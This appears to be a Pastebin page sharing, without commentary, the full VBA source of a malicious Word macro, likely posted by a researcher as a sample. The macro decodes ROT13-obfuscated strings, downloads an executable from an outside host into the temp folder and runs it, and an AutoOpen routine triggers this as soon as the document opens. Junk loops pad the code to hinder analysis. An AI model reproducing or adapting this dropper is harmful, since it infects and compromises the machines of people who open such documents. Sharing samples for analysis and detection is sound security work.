SHARE
TWEET

Malicious Word macro

dynamoo Feb 17th, 2015 197 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. REM == MODULE 1 ============================================
  2.  
  3. Attribute VB_Name = "Module1"
  4. Private Const LW4O3AUER = ""
  5. Private Const QPFGLMSjq = LW4O3AUER
  6. Private Const LRipI5OslYA = "abcdefghijklmnopqrstuvwxyz"
  7. Private Const GLEqSmimQC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  8. Function ZRCOUP(ByVal InString As String)
  9.  
  10.  
  11. Dim LetterU As String
  12. Dim LetterL As String
  13. Dim Letter As String
  14. Dim Rot13 As String
  15. Dim i As Integer
  16. LetterU = GLEqSmimQC
  17. LetterL = LRipI5OslYA
  18. i = 0
  19. Do While i <= Len(InString)
  20. i = i + 1
  21. Letter = Mid(InString, i, 1)
  22. If I0A7WvDveK(Letter) = True Then
  23. If cIRt4Ae(Letter) = True Then
  24. Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
  25. Else
  26. Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
  27. End If
  28. Else
  29. Rot13 = Rot13 + Letter
  30. End If
  31. Loop
  32.  ZRCOUP = Rot13
  33. End Function
  34. Function cIRt4Ae(ByVal InString As String) As Boolean
  35. If StrComp(Trim(InString), "") = 0 Then
  36.  cIRt4Ae = False
  37. Exit Function
  38. End If
  39. If StrComp(InString, UCase(InString)) = 0 Then
  40.  cIRt4Ae = True
  41. Else
  42.  cIRt4Ae = False
  43. End If
  44. End Function
  45. Function I0A7WvDveK(ByVal InString As String) As Boolean
  46. InString = UCase(InString)
  47. If InString = "" Then I0A7WvDveK = False: Exit Function
  48. If Asc(InString) >= 65 And Asc(InString) <= 90 Then
  49.  I0A7WvDveK = True
  50. Else
  51.  I0A7WvDveK = False
  52. End If
  53. End Function
  54.  
  55.  
  56. REM == MODULE 11 ============================================
  57.  
  58. Attribute VB_Name = "Module11"
  59. Private Const pIna0CSVNsu = "Furyy.Nccyvpngvba"
  60. Private Const dvr5p = "NQBQO.Fgernz"
  61. Private Const wvYm = "Fpevcgvat.SvyrFlfgrzBowrpg"
  62. Private Const OJvaKHZFGT = "TRG"
  63. Private Const dCkKHihXXc = "ZFKZY2.KZYUGGC"
  64. Private Const WWNcjAI4U = "\qfUUU.rkr"
  65. Private Const s8A4IFJCpDYh = "uggc://nyhpneqban.pbz/wf/ova.rkr"
  66. Private Const gS5U = wvYm
  67.  
  68. Sub ysrSwepCA()
  69. Dim zFWcw, gmkGo6q
  70. Dim EfQhk As Integer
  71. For EfQhk = 655 To 655 + 5
  72. DoEvents
  73. Next EfQhk
  74. Dim Gagod As Integer
  75. For Gagod = 2269 To 2269 + 5
  76. DoEvents
  77. Next Gagod
  78. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  79. Dim wCyKbc As Integer
  80. For wCyKbc = 654 To 654 + 5
  81. DoEvents
  82. Next wCyKbc
  83. Dim EseFcbC As Integer
  84. For EseFcbC = 212 To 212 + 5
  85. DoEvents
  86. Next EseFcbC
  87. Dim ijnK2g, j_YLrCc1S, fz21trwt
  88. Const rihuZ61esFi = 2
  89. Dim iGZkZVPif As Integer
  90. For iGZkZVPif = 1004 To 1004 + 5
  91. DoEvents
  92. Next iGZkZVPif
  93. Dim zuYaG As Integer
  94. For zuYaG = 813 To 813 + 5
  95. DoEvents
  96. Next zuYaG
  97. Dim CmwCy As Integer
  98. For CmwCy = 2175 To 2175 + 5
  99. DoEvents
  100. Next CmwCy
  101. Dim nrRsDxPMjeVRduJfSc As Integer
  102. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  103. DoEvents
  104. Next nrRsDxPMjeVRduJfSc
  105. Dim ocNpLYm As Integer
  106. For ocNpLYm = 2458 To 2458 + 5
  107. DoEvents
  108. Next ocNpLYm
  109. Dim oqQdwEtZUU As Integer
  110. For oqQdwEtZUU = 2268 To 2268 + 5
  111. DoEvents
  112. Next oqQdwEtZUU
  113. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  114. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  115. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  116. DoEvents
  117. Next rRsDxPMEeVRdufSczuYaGag
  118. Dim cMuwQt As Integer
  119. For cMuwQt = 844 To 844 + 5
  120. DoEvents
  121. Next cMuwQt
  122. Dim knfDhLrgArivFo As Integer
  123. For knfDhLrgArivFo = 372 To 372 + 5
  124. DoEvents
  125. Next knfDhLrgArivFo
  126. strLink = ZRCOUP(s8A4IFJCpDYh)
  127. Dim paSaEf As Integer
  128. For paSaEf = 752 To 752 + 5
  129. DoEvents
  130. Next paSaEf
  131. Dim UUTZJPYoONeT As Integer
  132. For UUTZJPYoONeT = 401 To 401 + 5
  133. DoEvents
  134. Next UUTZJPYoONeT
  135. Dim JfSczuYa As Integer
  136. For JfSczuYa = 2237 To 2237 + 5
  137. DoEvents
  138. Next JfSczuYa
  139. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  140. Dim PQBcNehkcAeI As Integer
  141. For PQBcNehkcAeI = 1085 To 1085 + 5
  142. DoEvents
  143. Next PQBcNehkcAeI
  144. Dim ZwrUVCQckaF As Integer
  145. For ZwrUVCQckaF = 167 To 167 + 5
  146. DoEvents
  147. Next ZwrUVCQckaF
  148. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  149. Dim lQPQBc As Integer
  150. For lQPQBc = 1688 To 1688 + 5
  151. DoEvents
  152. Next lQPQBc
  153. Dim UVCQcka As Integer
  154. For UVCQcka = 706 To 706 + 5
  155. DoEvents
  156. Next UVCQcka
  157. Dim hkcAesodxnesCll As Integer
  158. For hkcAesodxnesCll = 1876 To 1876 + 5
  159. DoEvents
  160. Next hkcAesodxnesCll
  161. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  162. Dim boPjOnEfFQK As Integer
  163. For boPjOnEfFQK = 1815 To 1815 + 5
  164. DoEvents
  165. Next boPjOnEfFQK
  166. Dim OarFbOZwrUV As Integer
  167. For OarFbOZwrUV = 673 To 673 + 5
  168. DoEvents
  169. Next OarFbOZwrUV
  170. Dim ihlQPQ As Integer
  171. For ihlQPQ = 356 To 356 + 5
  172. DoEvents
  173. Next ihlQPQ
  174. Dim CQckaFOONSpw As Integer
  175. For CQckaFOONSpw = 2478 To 2478 + 5
  176. DoEvents
  177. Next CQckaFOONSpw
  178. kSrmQYLjBtNSgg.send
  179. Dim hYxaF As Integer
  180. For hYxaF = 2021 To 2021 + 5
  181. DoEvents
  182. Next hYxaF
  183. Dim QoCYLUtoQS As Integer
  184. For QoCYLUtoQS = 1609 To 1609 + 5
  185. DoEvents
  186. Next QoCYLUtoQS
  187. Dim aGkAgnGND As Integer
  188. For aGkAgnGND = 2150 To 2150 + 5
  189. DoEvents
  190. Next aGkAgnGND
  191. Dim AfsrHKNF As Integer
  192. For AfsrHKNF = 1200 To 1200 + 5
  193. DoEvents
  194. Next AfsrHKNF
  195. Dim DjefdiTMTyZ As Integer
  196. For DjefdiTMTyZ = 124 To 124 + 5
  197. DoEvents
  198. Next DjefdiTMTyZ
  199. Dim UtoQSzTZhQ As Integer
  200. For UtoQSzTZhQ = 1642 To 1642 + 5
  201. DoEvents
  202. Next UtoQSzTZhQ
  203. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  204. Dim RgNfQUujgspLiG As Integer
  205. For RgNfQUujgspLiG = 819 To 819 + 5
  206. DoEvents
  207. Next RgNfQUujgspLiG
  208. Dim pxnSNOMRCJQh As Integer
  209. For pxnSNOMRCJQh = 881 To 881 + 5
  210. DoEvents
  211. Next pxnSNOMRCJQh
  212. Dim hahKYQnr As Integer
  213. For hahKYQnr = 1218 To 1218 + 5
  214. DoEvents
  215. Next hahKYQnr
  216. Dim GAegMS As Integer
  217. For GAegMS = 646 To 646 + 5
  218. DoEvents
  219. Next GAegMS
  220. Dim rfdQpmIfDJF As Integer
  221. For rfdQpmIfDJF = 238 To 238 + 5
  222. DoEvents
  223. Next rfdQpmIfDJF
  224. Dim gyYyJDVFcL As Integer
  225. For gyYyJDVFcL = 2008 To 2008 + 5
  226. DoEvents
  227. Next gyYyJDVFcL
  228. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  229. Dim BOdJc As Integer
  230. For BOdJc = 899 To 899 + 5
  231. DoEvents
  232. Next BOdJc
  233. Dim GNeFEUKMEGljQF As Integer
  234. For GNeFEUKMEGljQF = 741 To 741 + 5
  235. DoEvents
  236. Next GNeFEUKMEGljQF
  237. Dim HitnFC As Integer
  238. For HitnFC = 1820 To 1820 + 5
  239. DoEvents
  240. Next HitnFC
  241. Dim yyaiuQqVtL As Integer
  242. For yyaiuQqVtL = 794 To 794 + 5
  243. DoEvents
  244. Next yyaiuQqVtL
  245. Dim zJesfR As Integer
  246. For zJesfR = 381 To 381 + 5
  247. DoEvents
  248. Next zJesfR
  249. Dim gNCQNE As Integer
  250. For gNCQNE = 728 To 728 + 5
  251. DoEvents
  252. Next gNCQNE
  253. Dim qiHQOzhEglzJe As Integer
  254. For qiHQOzhEglzJe = 854 To 854 + 5
  255. DoEvents
  256. Next qiHQOzhEglzJe
  257. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  258. Dim tLYLJDVSpZkp As Integer
  259. For tLYLJDVSpZkp = 1204 To 1204 + 5
  260. DoEvents
  261. Next tLYLJDVSpZkp
  262. Dim NetOCLjeH As Integer
  263. For NetOCLjeH = 115 To 115 + 5
  264. DoEvents
  265. Next NetOCLjeH
  266. Dim ROmVgmiuK As Integer
  267. For ROmVgmiuK = 148 To 148 + 5
  268. DoEvents
  269. Next ROmVgmiuK
  270. Dim pNFBNetOCLj As Integer
  271. For pNFBNetOCLj = 1791 To 1791 + 5
  272. DoEvents
  273. Next pNFBNetOCLj
  274. Dim IUIFzRO As Integer
  275. For IUIFzRO = 684 To 684 + 5
  276. DoEvents
  277. Next IUIFzRO
  278. Dim vGbocN As Integer
  279. For vGbocN = 1317 To 1317 + 5
  280. DoEvents
  281. Next vGbocN
  282. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  283. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  284. DoEvents
  285. Next HHvvVfrTnSqIIFzROmVgmiuK
  286. Dim qLzIh As Integer
  287. For qLzIh = 140 To 140 + 5
  288. DoEvents
  289. Next qLzIh
  290. End If
  291. Dim OCAuMJgPb As Integer
  292. For OCAuMJgPb = 158 To 158 + 5
  293. DoEvents
  294. Next OCAuMJgPb
  295. Dim jFEhNgRVvV As Integer
  296. For jFEhNgRVvV = 758 To 758 + 5
  297. DoEvents
  298. Next jFEhNgRVvV
  299. Dim ZlNhMkCOCAu As Integer
  300. For ZlNhMkCOCAu = 1582 To 1582 + 5
  301. DoEvents
  302. Next ZlNhMkCOCAu
  303. Dim MjHzvHY As Integer
  304. For MjHzvHY = 1424 To 1424 + 5
  305. DoEvents
  306. Next MjHzvHY
  307. Dim COCAuM As Integer
  308. For COCAuM = 1138 To 1138 + 5
  309. DoEvents
  310. Next COCAuM
  311. Dim gEwsEUkFtC As Integer
  312. For gEwsEUkFtC = 872 To 872 + 5
  313. DoEvents
  314. Next gEwsEUkFtC
  315. Dim hzLzxrIGdM As Integer
  316. For hzLzxrIGdM = 1855 To 1855 + 5
  317. DoEvents
  318. Next hzLzxrIGdM
  319. Dim Antkhrp9gTyfJ3
  320. Dim eVvKC As Integer
  321. For eVvKC = 303 To 303 + 5
  322. DoEvents
  323. Next eVvKC
  324. Dim qlOQxDQfUAv As Integer
  325. For qlOQxDQfUAv = 2486 To 2486 + 5
  326. DoEvents
  327. Next qlOQxDQfUAv
  328. Dim aQtOotqBET As Integer
  329. For aQtOotqBET = 809 To 809 + 5
  330. DoEvents
  331. Next aQtOotqBET
  332. Dim tBOqKpNfFgr As Integer
  333. For tBOqKpNfFgr = 735 To 735 + 5
  334. DoEvents
  335. Next tBOqKpNfFgr
  336. Dim DYOFSdLLzlM As Integer
  337. For DYOFSdLLzlM = 1713 To 1713 + 5
  338. DoEvents
  339. Next DYOFSdLLzlM
  340. Dim OqKpNfFgr As Integer
  341. For OqKpNfFgr = 735 To 735 + 5
  342. DoEvents
  343. Next OqKpNfFgr
  344. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  345. Dim JDVTqLkqmyB As Integer
  346. For JDVTqLkqmyB = 542 To 542 + 5
  347. DoEvents
  348. Next JDVTqLkqmyB
  349. Dim ejwtcpOOq As Integer
  350. For ejwtcpOOq = 657 To 657 + 5
  351. DoEvents
  352. Next ejwtcpOOq
  353. Dim EIunuZzlA As Integer
  354. For EIunuZzlA = 2396 To 2396 + 5
  355. DoEvents
  356. Next EIunuZzlA
  357. Dim stauzHxdmml As Integer
  358. For stauzHxdmml = 753 To 753 + 5
  359. DoEvents
  360. Next stauzHxdmml
  361. Dim peJFFE As Integer
  362. For peJFFE = 245 To 245 + 5
  363. DoEvents
  364. Next peJFFE
  365. With Antkhrp9gTyfJ3
  366. Dim nJQYCP As Integer
  367. For nJQYCP = 453 To 453 + 5
  368. DoEvents
  369. Next nJQYCP
  370. Dim bstOPaxeHYD As Integer
  371. For bstOPaxeHYD = 1531 To 1531 + 5
  372. DoEvents
  373. Next bstOPaxeHYD
  374. Dim AVumj As Integer
  375. For AVumj = 1877 To 1877 + 5
  376. DoEvents
  377. Next AVumj
  378. .Type = 1
  379. Dim YpBpnhzwS As Integer
  380. For YpBpnhzwS = 738 To 738 + 5
  381. DoEvents
  382. Next YpBpnhzwS
  383. Dim LakESFsSpo As Integer
  384. For LakESFsSpo = 249 To 249 + 5
  385. DoEvents
  386. Next LakESFsSpo
  387. Dim ijhmQel As Integer
  388. For ijhmQel = 1328 To 1328 + 5
  389. DoEvents
  390. Next ijhmQel
  391. Dim Cbhdor As Integer
  392. For Cbhdor = 851 To 851 + 5
  393. DoEvents
  394. Next Cbhdor
  395. Dim YcqnVjII As Integer
  396. For YcqnVjII = 536 To 536 + 5
  397. DoEvents
  398. Next YcqnVjII
  399. .Open
  400. Dim rVGBqKBsFQz As Integer
  401. For rVGBqKBsFQz = 2453 To 2453 + 5
  402. DoEvents
  403. Next rVGBqKBsFQz
  404. Dim kQlqyn As Integer
  405. For kQlqyn = 1851 To 1851 + 5
  406. DoEvents
  407. Next kQlqyn
  408. Dim RuNtQjvjh As Integer
  409. For RuNtQjvjh = 1217 To 1217 + 5
  410. DoEvents
  411. Next RuNtQjvjh
  412. Dim pPmlNuLyC As Integer
  413. For pPmlNuLyC = 1123 To 1123 + 5
  414. DoEvents
  415. Next pPmlNuLyC
  416. Dim lbeVuYCAiQri As Integer
  417. For lbeVuYCAiQri = 1870 To 1870 + 5
  418. DoEvents
  419. Next lbeVuYCAiQri
  420. .Write kSrmQYLjBtNSgg.responseBody
  421. Dim HMxqxcpoEI As Integer
  422. For HMxqxcpoEI = 1427 To 1427 + 5
  423. DoEvents
  424. Next HMxqxcpoEI
  425. Dim VtdntpB As Integer
  426. For VtdntpB = 793 To 793 + 5
  427. DoEvents
  428. Next VtdntpB
  429. Dim HlPzvk As Integer
  430. For HlPzvk = 2141 To 2141 + 5
  431. DoEvents
  432. Next HlPzvk
  433. Dim DyceJ As Integer
  434. For DyceJ = 2267 To 2267 + 5
  435. DoEvents
  436. Next DyceJ
  437. Dim mjGqAGCOfgBD As Integer
  438. For mjGqAGCOfgBD = 813 To 813 + 5
  439. DoEvents
  440. Next mjGqAGCOfgBD
  441. .SaveToFile strSaveTo
  442. Dim evJfSdAvZaG As Integer
  443. For evJfSdAvZaG = 703 To 703 + 5
  444. DoEvents
  445. Next evJfSdAvZaG
  446. Dim CmxDzK As Integer
  447. For CmxDzK = 420 To 420 + 5
  448. DoEvents
  449. Next CmxDzK
  450. .Close
  451. Dim fGdbDlC As Integer
  452. For fGdbDlC = 735 To 735 + 5
  453. DoEvents
  454. Next fGdbDlC
  455. Dim gqZZLLnvIkE As Integer
  456. For gqZZLLnvIkE = 2286 To 2286 + 5
  457. DoEvents
  458. Next gqZZLLnvIkE
  459. Dim CpcDZYA As Integer
  460. For CpcDZYA = 1038 To 1038 + 5
  461. DoEvents
  462. Next CpcDZYA
  463. Dim iYOdnVVIIks As Integer
  464. For iYOdnVVIIks = 469 To 469 + 5
  465. DoEvents
  466. Next iYOdnVVIIks
  467. End With
  468. Dim vypOeQG As Integer
  469. For vypOeQG = 1594 To 1594 + 5
  470. DoEvents
  471. Next vypOeQG
  472. Dim KRiIIYOQI As Integer
  473. For KRiIIYOQI = 328 To 328 + 5
  474. DoEvents
  475. Next KRiIIYOQI
  476. Set Antkhrp9gTyfJ3 = Nothing
  477. Dim Ocbrvy As Integer
  478. For Ocbrvy = 1089 To 1089 + 5
  479. DoEvents
  480. Next Ocbrvy
  481. Dim ZlBQY As Integer
  482. For ZlBQY = 505 To 505 + 5
  483. DoEvents
  484. Next ZlBQY
  485. Dim VvYCn As Integer
  486. For VvYCn = 2276 To 2276 + 5
  487. DoEvents
  488. Next VvYCn
  489.  
  490. Dim xRuzMJsF As Integer
  491. For xRuzMJsF = 1019 To 1019 + 5
  492. DoEvents
  493. Next xRuzMJsF
  494. Dim SQVHAHmMyNR As Integer
  495. For SQVHAHmMyNR = 1162 To 1162 + 5
  496. DoEvents
  497. Next SQVHAHmMyNR
  498. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  499. Dim ahoSgfvyB As Integer
  500. For ahoSgfvyB = 88 To 88 + 5
  501. DoEvents
  502. Next ahoSgfvyB
  503. Dim QSSQVHA As Integer
  504. For QSSQVHA = 1541 To 1541 + 5
  505. DoEvents
  506. Next QSSQVHA
  507. Dim qOeQGorL As Integer
  508. For qOeQGorL = 929 To 929 + 5
  509. DoEvents
  510. Next qOeQGorL
  511. Dim RIiKpaVJfUL As Integer
  512. For RIiKpaVJfUL = 1181 To 1181 + 5
  513. DoEvents
  514. Next RIiKpaVJfUL
  515. Dim vmLbTDl As Integer
  516. For vmLbTDl = 660 To 660 + 5
  517. DoEvents
  518. Next vmLbTDl
  519. End If
  520. Dim AfFrHLNF As Integer
  521. For AfFrHLNF = 1199 To 1199 + 5
  522. DoEvents
  523. Next AfFrHLNF
  524. Dim mLbTDloI As Integer
  525. For mLbTDloI = 1865 To 1865 + 5
  526. DoEvents
  527. Next mLbTDloI
  528. Dim oEHKCbEjT As Integer
  529. For oEHKCbEjT = 393 To 393 + 5
  530. DoEvents
  531. Next oEHKCbEjT
  532. Dim wftRStCOr As Integer
  533. For wftRStCOr = 1281 To 1281 + 5
  534. DoEvents
  535. Next wftRStCOr
  536. Dim oFrvVJGASP As Integer
  537. For oFrvVJGASP = 509 To 509 + 5
  538. DoEvents
  539. Next oFrvVJGASP
  540. Dim tcpOOqyL As Integer
  541. For tcpOOqyL = 1109 To 1109 + 5
  542. DoEvents
  543. Next tcpOOqyL
  544. Dim AULCPaIIwi As Integer
  545. For AULCPaIIwi = 634 To 634 + 5
  546. DoEvents
  547. Next AULCPaIIwi
  548. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  549. Dim dBQJtc As Integer
  550. For dBQJtc = 969 To 969 + 5
  551. DoEvents
  552. Next dBQJtc
  553. Dim rkrVwixBEw As Integer
  554. For rkrVwixBEw = 1508 To 1508 + 5
  555. DoEvents
  556. Next rkrVwixBEw
  557. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  558. Dim QsgpNHlnTo As Integer
  559. For QsgpNHlnTo = 2223 To 2223 + 5
  560. DoEvents
  561. Next QsgpNHlnTo
  562. Dim MYpqLMQubET As Integer
  563. For MYpqLMQubET = 1368 To 1368 + 5
  564. DoEvents
  565. Next MYpqLMQubET
  566. End Sub
  567.  
  568. REM == ThisDocument ============================================
  569.  
  570. Attribute VB_Name = "ThisDocument"
  571. Attribute VB_Base = "1Normal.ThisDocument"
  572. Attribute VB_GlobalNameSpace = False
  573. Attribute VB_Creatable = False
  574. Attribute VB_PredeclaredId = True
  575. Attribute VB_Exposed = True
  576. Attribute VB_TemplateDerived = True
  577. Attribute VB_Customizable = True
  578. Sub autoopen()
  579. ysrSwepCA
  580. End Sub
RAW Paste Data
Top